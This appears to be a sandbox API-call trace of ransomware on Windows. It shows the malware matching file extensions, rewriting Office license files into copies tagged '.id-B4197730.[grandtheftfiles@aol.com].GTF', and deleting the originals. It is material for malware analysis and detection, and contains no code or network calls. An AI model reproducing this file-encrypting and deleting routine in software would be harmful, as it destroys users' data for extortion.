	[0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0179.503] lstrlenW (lpString=".jpg") returned 4
	[0179.503] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0179.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0179.503] lstrlenW (lpString=".doc") returned 4
	[0179.503] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.503] lstrlenW (lpString=".docx") returned 5
	[0179.503] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.503] lstrlenW (lpString=".pdf") returned 4
	[0179.503] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.503] lstrlenW (lpString=".xls") returned 4
	[0179.504] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.504] lstrlenW (lpString=".xlsx") returned 5
	[0179.504] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.504] lstrlenW (lpString=".ppt") returned 4
	[0179.504] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0179.504] lstrlenW (lpString=".zip") returned 4
	[0179.504] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.504] lstrlenW (lpString=".rar") returned 4
	[0179.504] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.504] lstrlenW (lpString=".bz2") returned 4
	[0179.504] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.504] lstrlenW (lpString=".7z") returned 3
	[0179.504] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0179.504] lstrlenW (lpString=".dbf") returned 4
	[0179.504] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0179.504] lstrlenW (lpString=".1cd") returned 4
	[0179.504] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0179.504] lstrlenW (lpString=".jpg") returned 4
	[0179.504] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.504] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.504] lstrlenW (lpString="O365HomePremR_SubTest3-ppd.xrm-ms") returned 33
	[0179.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.505] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=23134) returned 1
	[0179.505] CloseHandle (hObject=0x560) returned 1
	[0179.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 0x220
	[0179.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.506] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.506] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.507] GetLastError () returned 0x0
	[0179.507] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0179.525] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0179.526] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.526] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x116, lpOverlapped=0x0) returned 1
	[0179.526] SetEndOfFile (hFile=0x504) returned 1
	[0179.534] CloseHandle (hObject=0x504) returned 1
	[0179.535] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.535] SetEndOfFile (hFile=0x560) returned 1
	[0179.556] CloseHandle (hObject=0x560) returned 1
	[0179.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 1
	[0179.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0179.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0179.660] lstrlenW (lpString=".doc") returned 4
	[0179.660] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.660] lstrlenW (lpString=".docx") returned 5
	[0179.660] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.660] lstrlenW (lpString=".pdf") returned 4
	[0179.660] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.660] lstrlenW (lpString=".xls") returned 4
	[0179.660] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.660] lstrlenW (lpString=".xlsx") returned 5
	[0179.660] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.660] lstrlenW (lpString=".ppt") returned 4
	[0179.660] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0179.660] lstrlenW (lpString=".zip") returned 4
	[0179.660] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.660] lstrlenW (lpString=".rar") returned 4
	[0179.660] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.660] lstrlenW (lpString=".bz2") returned 4
	[0179.660] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.660] lstrlenW (lpString=".7z") returned 3
	[0179.660] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0179.660] lstrlenW (lpString=".dbf") returned 4
	[0179.660] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0179.660] lstrlenW (lpString=".1cd") returned 4
	[0179.660] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0179.660] lstrlenW (lpString=".jpg") returned 4
	[0179.660] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0179.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0179.660] lstrlenW (lpString=".doc") returned 4
	[0179.660] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.660] lstrlenW (lpString=".docx") returned 5
	[0179.660] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.661] lstrlenW (lpString=".pdf") returned 4
	[0179.661] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.661] lstrlenW (lpString=".xls") returned 4
	[0179.661] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.661] lstrlenW (lpString=".xlsx") returned 5
	[0179.661] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.661] lstrlenW (lpString=".ppt") returned 4
	[0179.661] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0179.661] lstrlenW (lpString=".zip") returned 4
	[0179.661] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.661] lstrlenW (lpString=".rar") returned 4
	[0179.661] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.661] lstrlenW (lpString=".bz2") returned 4
	[0179.661] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.661] lstrlenW (lpString=".7z") returned 3
	[0179.661] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0179.661] lstrlenW (lpString=".dbf") returned 4
	[0179.661] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0179.661] lstrlenW (lpString=".1cd") returned 4
	[0179.661] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83
	[0179.661] lstrlenW (lpString=".jpg") returned 4
	[0179.661] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.661] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.661] lstrlenW (lpString="O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 36
	[0179.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0179.662] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11630) returned 1
	[0179.662] CloseHandle (hObject=0x568) returned 1
	[0179.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 0x220
	[0180.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.112] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.112] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0180.113] GetLastError () returned 0x0
	[0180.113] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0180.115] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0180.116] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.116] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0180.116] SetEndOfFile (hFile=0x53c) returned 1
	[0180.116] CloseHandle (hObject=0x53c) returned 1
	[0180.116] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.116] SetEndOfFile (hFile=0x3d4) returned 1
	[0180.119] CloseHandle (hObject=0x3d4) returned 1
	[0180.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 1
	[0180.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0180.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0180.120] lstrlenW (lpString=".doc") returned 4
	[0180.120] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.120] lstrlenW (lpString=".docx") returned 5
	[0180.120] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.120] lstrlenW (lpString=".pdf") returned 4
	[0180.120] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.120] lstrlenW (lpString=".xls") returned 4
	[0180.120] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.120] lstrlenW (lpString=".xlsx") returned 5
	[0180.120] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.120] lstrlenW (lpString=".ppt") returned 4
	[0180.120] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0180.120] lstrlenW (lpString=".zip") returned 4
	[0180.121] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.121] lstrlenW (lpString=".rar") returned 4
	[0180.121] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.121] lstrlenW (lpString=".bz2") returned 4
	[0180.121] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.121] lstrlenW (lpString=".7z") returned 3
	[0180.121] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0180.121] lstrlenW (lpString=".dbf") returned 4
	[0180.121] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0180.121] lstrlenW (lpString=".1cd") returned 4
	[0180.121] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0180.121] lstrlenW (lpString=".jpg") returned 4
	[0180.121] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0180.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0180.121] lstrlenW (lpString=".doc") returned 4
	[0180.121] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.121] lstrlenW (lpString=".docx") returned 5
	[0180.121] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.121] lstrlenW (lpString=".pdf") returned 4
	[0180.121] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.121] lstrlenW (lpString=".xls") returned 4
	[0180.121] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.121] lstrlenW (lpString=".xlsx") returned 5
	[0180.121] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.121] lstrlenW (lpString=".ppt") returned 4
	[0180.121] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0180.121] lstrlenW (lpString=".zip") returned 4
	[0180.121] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.121] lstrlenW (lpString=".rar") returned 4
	[0180.121] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.122] lstrlenW (lpString=".bz2") returned 4
	[0180.122] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.122] lstrlenW (lpString=".7z") returned 3
	[0180.122] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0180.122] lstrlenW (lpString=".dbf") returned 4
	[0180.122] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0180.122] lstrlenW (lpString=".1cd") returned 4
	[0180.122] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0180.122] lstrlenW (lpString=".jpg") returned 4
	[0180.122] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.122] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.122] lstrlenW (lpString="O365HomePremR_SubTrial3-ppd.xrm-ms") returned 34
	[0180.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.123] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=23135) returned 1
	[0180.123] CloseHandle (hObject=0x3d4) returned 1
	[0180.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms")) returned 0x220
	[0180.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.123] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.123] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0180.124] GetLastError () returned 0x0
	[0180.124] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0180.126] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0180.128] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.128] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x118, lpOverlapped=0x0) returned 1
	[0180.128] SetEndOfFile (hFile=0x53c) returned 1
	[0180.128] CloseHandle (hObject=0x53c) returned 1
	[0180.128] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.128] SetEndOfFile (hFile=0x3d4) returned 1
	[0180.131] CloseHandle (hObject=0x3d4) returned 1
	[0180.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms")) returned 1
	[0180.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0180.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0180.132] lstrlenW (lpString=".doc") returned 4
	[0180.132] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.132] lstrlenW (lpString=".docx") returned 5
	[0180.132] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.132] lstrlenW (lpString=".pdf") returned 4
	[0180.132] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.132] lstrlenW (lpString=".xls") returned 4
	[0180.132] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
